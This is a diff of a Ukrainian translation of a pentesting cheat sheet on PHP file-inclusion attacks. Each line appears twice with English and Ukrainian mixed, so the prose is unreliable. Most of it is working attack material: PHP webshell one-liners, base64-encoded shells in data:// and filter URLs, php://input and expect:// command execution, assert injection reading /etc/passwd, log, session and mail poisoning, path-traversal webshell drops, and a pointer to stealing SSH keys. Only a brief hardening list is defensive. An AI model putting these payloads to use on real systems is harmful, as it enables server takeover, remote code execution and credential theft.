?mod={payload} ?mod={payload}
?conf={payload} ?conf={payload}
``` ```
## LFI / RFI за допомогою PHP обгорток та протоколів ## LFI / RFI з використанням PHP wrappers & protocols
### php://filter ### php://filter
PHP filters дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів: PHP filters дозволяють виконувати базові **операції модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
- `string.toupper` - `string.toupper`
- `string.tolower` - `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">") - `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">")
- Note that this filter has disappear from the modern versions of PHP - Зверніть увагу, що цей фільтр зник у сучасних версіях PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode` - `convert.base64-encode`
- `convert.base64-decode` - `convert.base64-decode`
- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l` - `convert.iconv.*` : Перетворює у іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
> [!WARNING] > [!WARNING]
> Зловживаючи фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію, наприклад include, обробляти довільний текст. Для детальнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). > Зловживши фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для отримання додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно if exfiltrating a lot of info) - `zlib.deflate`: Стискає вміст (корисно при exfiltrating великої кількості інформації)
- `zlib.inflate`: Decompress the data - `zlib.inflate`: Декомпресує дані
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated - `mcrypt.*` : Застаріло
- `mdecrypt.*` : Deprecated - `mdecrypt.*` : Застаріло
- Other Filters - Інші фільтри
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**: - Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
- `consumed` - `consumed`
- `dechunk`: reverses HTTP chunked encoding - `dechunk`: скасовує HTTP chunked encoding
- `convert.*` - `convert.*`
```php ```php
# String Filters # String Filters
@ -275,21 +275,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів ### Використання php filters як oracle для читання довільних файлів
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням php filters** як oracle. Це можливо, бо php filters можна використати, щоб зробити текст настільки великим, що php викине виняток. [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, щоб php згенерував виняток.
У оригінальному дописі можна знайти детальне пояснення техніки, але ось коротке резюме: В оригінальному пості ви знайдете детальне пояснення техніки, але тут коротке резюме:
- Використовуйте кодек **`UCS-4LE`**, щоб розмістити ведучий символ тексту на початку і змусити розмір рядка зростати експоненційно. - Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Це використовується для створення **тексту настільки великого, коли початкова літера вгадана правильно**, що php спровокує **помилку**. - Це буде використано для генерації **тексту, настільки великого при правильному вгадуванні початкової літери**, що php викличе **помилку**
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тож ми можемо дізнатися, чи перший символ є hex. - The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості перетворень вона перестане бути шістнадцятковим символом. Адже якщо вона є hex, dechunk її не видалить і початкова «бомба» спричинить помилку php. - Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо перетворень, щоб вона перестала бути an hexadecimal character. Тому що якщо hex, dechunk не видалить її і початкова бомба спричинить php error.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (наприклад a -> b). Це дозволяє визначити, чи перша літера — `a`: якщо застосувати цей кодек 6 разів (a->b->c->d->e->f->g), літера перестане бути шістнадцятковим символом, тому dechunk її не видалить і помилка php буде викликана через множення з початковою «бомбою». - The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Використовуючи інші перетворення, такі як **rot13**, на початку, можливо leak інших символів, наприклад n, o, p, q, r (інші кодеки можуть бути використані, щоб перемістити інші літери в hex-діапазон). - Використовуючи інші перетворення, як-от **rot13** на початку, можна leak інші символи, такі як n, o, p, q, r (і інші codecs можна використовувати для переміщення інших літер у hex діапазон).
- Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число. - When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і отримати в першій позиції інші літери тексту. - Остаточна проблема — побачити **how to leak more than the initial letter**. Використовуючи order memory filters, як-от **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і помістити на першу позицію інші літери тексту.
- І щоб мати змогу отримувати **further data** ідея полягає в **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб **pivot with the next 2 bytes**, і **видалити дані до junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете потрібного біта для leak. - And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **видалити дані до сміттєвих даних** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
У дописі також було опубліковано інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
``` ```
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці) Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисним в атаці)
### zip:// and rar:// ### zip:// та rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\ Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
Щоб мати можливість зловживати протоколом rar, його **потрібно спеціально активувати**. Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**.
```bash ```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
Зауважте, що цей протокол обмежується конфігураціями php **`allow_url_open`** та **`allow_url_include`** Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** та **`allow_url_include`**
### expect:// ### expect://
Expect має бути активований. Ви можете виконати код за допомогою цього: Expect має бути активовано. Ви можете виконати код за допомогою цього:
``` ```
http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls http://example.com/index.php?page=expect://ls
``` ```
### input:// ### input://
Вкажіть свій payload у POST-параметрах: Вкажіть свій payload у параметрах POST:
```bash ```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
``` ```
### phar:// ### phar://
Файл `.phar` може використовуватися для виконання PHP-коду, коли веб-додаток застосовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`: Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт `include` для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу `.phar`:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>'); $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering(); $phar->stopBuffering();
``` ```
Щоб скомпілювати файл `.phar`, слід виконати наступну команду: Щоб скомпілювати файл `.phar`, слід виконати таку команду:
```bash ```bash
php --define phar.readonly=0 create_path.php php --define phar.readonly=0 create_path.php
``` ```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. Після виконання буде створено файл з іменем `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
У випадку, якщо LFI лише читає файл без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів за допомогою протоколу `phar`. Якщо LFI лише читає файл без виконання в ньому PHP-коду, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десереалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,51 +373,51 @@ phar-deserialization.md
### CVE-2024-2961 ### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Було можливо зловживати **any arbitrary file read from PHP that supports php filters** щоб отримати RCE. Детальний опис можна [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже короткий підсумок: **3 byte overflow** в купі PHP було використано для **зміни ланцюжка вільних чанків** конкретного розміру, щоб мати змогу **записати будь-що в будь-яку адресу**, тому був доданий хук, який викликає **`system`**.\ Дуже коротке резюме: **3 byte overflow** в PHP heap було використано, щоб **alter the chain of free chunks** певного розміру з метою мати можливість **write anything in any address**, тому додали хук для виклику **`system`**.\
Було можливо алокувати чанки конкретних розмірів, зловживаючи додатковими php filters. Було можливо alloc чанки певних розмірів, зловживаючи додатковими php filters.
### More protocols ### Більше протоколів
Перевірте більше можливих [ **протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:** Перевірте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам’ять або у тимчасовий файл (не впевнений, як це може бути корисним у file inclusion attack) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисним в атаці file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи - [file://](https://www.php.net/manual/en/wrappers.file.php) — доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL - [http://](https://www.php.net/manual/en/wrappers.http.php) — доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — доступ до FTP(s) URL-ів
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож не надто корисний тут) - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — знаходить імена шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тому тут не дуже корисний)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисний для читання довільних файлів) - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — аудіопотоки (не корисно для читання довільних файлів)
## LFI via PHP's 'assert' ## LFI via PHP's 'assert'
Ризики LFI в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код в межах рядків. Це особливо проблематично, якщо ввод, що містить символи для directory traversal, такі як "..", перевіряється, але не очищується належним чином. Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код зі строк. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване.
For example, PHP code might be designed to prevent directory traversal like so: Наприклад, PHP-код може бути спроєктований для запобігання directory traversal наступним чином:
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
Хоча це спрямовано на зупинення traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, нападник може використати: Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може скористатися:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
Аналогічно, для виконання довільних системних команд можна використати: Аналогічно, для виконання довільних системних команд можна використовувати:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
It's important to **URL-encode these payloads**. Важливо **URL-encode these payloads**.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Ця техніка актуальна в випадках, коли ви **контролюєте** **file path** для **PHP function**, яка **access a file**, але ви не бачитимете вміст файлу (наприклад простий виклик **`file()`**) і вміст не показується. > Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), і вміст не показується.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
У підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу таким **великим**, що **PHP function**, яка відкриває файл, викличе **error**. У підсумку, техніка використовує **"UCS-4LE" encoding** щоб зробити вміст файлу настільки **big**, що **PHP function opening** файл спричинить **помилку**.
Далі, щоб leak перший символ, фільтр **`dechunk`** використовується разом з іншими (наприклад **base64** або **rot13**), а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** застосовуються, щоб **place other chars at the beggining and leak them**. Потім, щоб leak the first char, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті застосовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** щоб **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -427,20 +427,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE) ### Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який приймає/завантажує файли, будує destination path з використанням даних, контрольованих користувачем (наприклад filename або URL), без нормалізації та валідації, сегменти `..` та absolute paths можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте unauthenticated RCE, скинувши webshell. When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Типовий робочий процес експлуатації: Typical exploitation workflow:
- Знайти write primitive в endpoint або background worker, який приймає path/filename і записує контент на диск (наприклад message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо). - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Визначити веб-доступні директорії. Поширені приклади: - Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/` - Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp` - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Зконструювати traversal path, який виходить із призначеної директорії зберігання в webroot, і включити в нього ваш webshell content. - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Перейти до скинутого payload і виконати команди. - Browse to the dropped payload and execute commands.
Notes: Notes:
- Уразливий сервіс, який виконує запис, може слухати на non-HTTP порту (наприклад JMF XML listener on TCP 4004). Головний веб-портал (інший порт) пізніше віддаватиме ваш payload. - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність нормалізації/allow-listing — основний недолік. - On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal): Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml ```xml
@ -466,25 +466,25 @@ in.transferTo(out);
</Command> </Command>
</JMF> </JMF>
``` ```
Заходи жорсткого захисту, що усувають цей клас вразливостей: Методи захисту, що нейтралізують цей клас вразливостей:
- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеної базової директорії. - Розв'язувати у канонічний шлях і забезпечувати, що він є нащадком дозволеного базового каталогу.
- Відкидайте будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів. - Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
- Запускайте процес запису від імені облікового запису з низькими правами та розділяйте директорії для запису від коренів, які обслуговуються. - Запускати writer під обліковим записом з мінімальними привілеями та розділяти директорії для запису від коренів, що обслуговуються.
## Remote File Inclusion ## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion). Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file ### Через лог-файл Apache/Nginx
Якщо сервер Apache або Nginx є **вразливим до LFI** у функції include, можна спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, помістити у **user agent** або в **GET параметр** php-shell на кшталт **`<?php system($_GET['c']); ?>`** і підключити цей файл Якщо сервер Apache або Nginx є **vulnerable to LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell типу **`<?php system($_GET['c']); ?>`** і include-нути цей файл
> [!WARNING] > [!WARNING]
> Зауважте, що **якщо ви використовуєте подвійні лапки** для шеллу замість **одинарних лапок**, подвійні лапки будуть змінені для рядка "_**quote;**_", **PHP кине помилку** і **нічого іншого не буде виконано**. > Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **простих лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP згенерує помилку** і **нічого іншого не буде виконано**.
> >
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої можливості. > Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде давати помилку щоразу при спробі завантажити файл журналу і у вас не буде другої можливості.
Це також можна зробити в інших логах, але **обережно,** код у логах може бути URL-кодований і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується у логах. PHPShell можна вставити всередину цього заголовку.\ Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64 і він декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
Інші можливі шляхи логів: Інші можливі шляхи логів:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
@ -499,29 +499,29 @@ Explained previously, [**follow this link**](#remote-file-inclusion).
``` ```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через електронну пошту ### Via Email
**Відправте лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте зробити include пошти користувача за шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`** **Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\* ### Via /proc/\*/fd/\*
1. Завантажте велику кількість shells (наприклад: 100) 1. Завантажте багато shells (наприклад: 100)
2. Зробіть include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute force), а $FD — file descriptor (також можна brute force) 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID — PID процесу (можна brute force), а $FD — дескриптор файлу (також можна brute force)
### Через /proc/self/environ ### Via /proc/self/environ
Як із лог-файлом, відправте payload у User-Agent — він відобразиться в файлі /proc/self/environ Як і з лог-файлом, відправте payload у User-Agent — він відобразиться всередині файлу /proc/self/environ
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### Via upload ### Через upload
Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`). Якщо ви можете upload файл, просто inject shell payload в нього (e.g : `<?php system($_GET['c']); ?>` ).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Щоб файл залишався читабельним, найкраще інжектувати у метадані pictures/doc/pdf Щоб файл залишався читабельним, найкраще вбудувати його в метадані зображень/документів/pdf
### Через завантаження ZIP файлу ### Через завантаження ZIP файлу
@ -545,24 +545,24 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
``` ```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
``` ```
Використайте LFI, щоб включити файл сесії PHP Використайте LFI, щоб включити файл сесії PHP.
``` ```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
``` ```
### Через ssh ### Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa** Якщо ssh активний — перевірте, який user використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Через** **vsftpd** _**логи**_ ### **Через** **vsftpd** _**логи**_
Логи FTP-сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) уразливість і є доступ до відкритого vsftpd сервера, можна розглянути такі кроки: Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо є Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:
1. Інжектуйте PHP payload у поле username під час процесу входу. 1. Інжектуйте PHP payload в поле username під час процесу входу.
2. Після інжекції скористайтеся LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_. 2. Після інжекції використайте LFI, щоб витягти логи сервера з _**/var/log/vsftpd.log**_.
### Через php base64 filter (using base64) ### Через php base64 filter (з використанням base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload: Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", він просто ігноруватиме "." і додаватиме "php" до base64. Ось приклад payload:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### Через php filters (файл не потрібен) ### Через php filters (файл не потрібен)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters** для генерації довільного вмісту як вивід. Це, по суті, означає, що ви можете **згенерувати довільний PHP-код** для include **без необхідності записувати** його у файл. This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це фактично означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
{{#ref}} {{#ref}}
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### Через segmentation fault ### Через segmentation fault
